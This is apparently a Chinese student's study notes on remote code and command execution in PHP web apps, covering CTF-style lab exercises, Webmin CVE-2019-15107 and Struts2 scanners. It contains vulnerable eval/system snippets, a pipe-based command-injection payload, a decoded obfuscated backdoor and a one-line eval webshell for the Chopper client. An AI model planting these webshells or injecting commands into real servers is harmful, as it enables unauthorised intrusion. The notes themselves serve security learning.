2021/12/15 RCE代码和命令执行
小迪
https://www.bilibili.com/video/BV1JZ4y1c7ro?p=29
http://blog.leanote.com/post/snowming/9da184ef24bd
https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe
https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe
cat和tac命令详解:
参考笔记:https://www.bilibili.com/read/cv14162614
https://github.com/xfiftyone/STS2G
https://github.com/HatBoy/Struts2-Scan
在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用
代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代
码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏
洞。同样调用系统命令处理,将造成命令执行漏洞。
RCE代码执行
eval()函数
eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行.
<?php
$code=$_GET['x'];
eval($code);
?>
创建文件 - fopen() 写入文件 - fwrite()
创建后门,然后菜刀连接
<?php
$myfile = fopen("newfile.txt", "w") or die("Unable to open file!");
$txt = "这是后门\n";
fwrite($myfile, $txt);
fclose($myfile);
?>
实例
system()函数
输出并返回最后一行shell结果
exec() 不输出结果,返回最后一行shell结果,所有结果可以保存到一个返回的数组里面。
passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。
<?php
$code=$_GET['x'];
system($code);
?>
mozhe命令注入执行分析
使用管道符|执行多条命令
127.0.0.1|ls
这里前端有验证,抓包修改数据包
mozhePHP代码分析溯源(第4题)
PHP解压函数gzdecode和gzinflate
base64_encode是加密,而base64_decode是解密
<?php
eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&)));
?>
把解密的代码输出,修改为
<?php
echo (gzinflate(base64_decode('40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==')));
?>
可以看到最后结果为
echo `$_REQUEST[a]`;; ?>
这里考点之一就是在Linux中echo 加反引号,反引号内的当命令执行,那这里直接修改传参a的值就行。
这里用tac读取文件才行,cat,more都不行。
Webmin未经身份验证的远程代码执行CVE-2019-15107
Webmin是一个用于管理类Unix系统的管理配置工具,具有Web页面。在其找回密码页面中,存在一处无需权限的命令注入漏洞,通过这个漏洞攻击者即可以执行任意系统命令。
https://github.com/vulhub/vulhub/blob/master/webmin/CVE-2019-15107/README.zh-cn.md
ls当前目录;
ls ..上一级目录;
ls ~自己的home目录;
ls / 根目录;
==ls ../..目录的上上两层 ==
Javaweb-Struts2 框架类 RCE 漏洞-漏洞层面
Struts2是一个基于MVC设计模式的Web应用框架,目前已经发展成为一个非常成熟的框架。全球用大量的网站使用该框架开发。其中许多政府,大型企业均有使用。Struts 2是Struts的下一代产品,是在 Struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。目前已经不是主流的Web技术,还存留在一些老旧系统中。
直接使用漏洞扫描工具
https://github.com/xfiftyone/STS2G
https://github.com/HatBoy/Struts2-Scan
exp和poc的区别
一句话 Webshell 后门原理代码执行-拓展说明
一句话eval
<?php @eval($_POST['zzz']);?>
添加进菜刀
菜刀将功能性函数写入程序里面
---网站访问后门地址,将接受post传递的参数,并且将传递的参数当做系统命令执行
---菜刀将操作系统的命令写入参数,以post方式传递给网站后门,网站后门通过eval()代码执行来执行系统命令或者代码,从而达到了菜刀远程操作服务器的目的。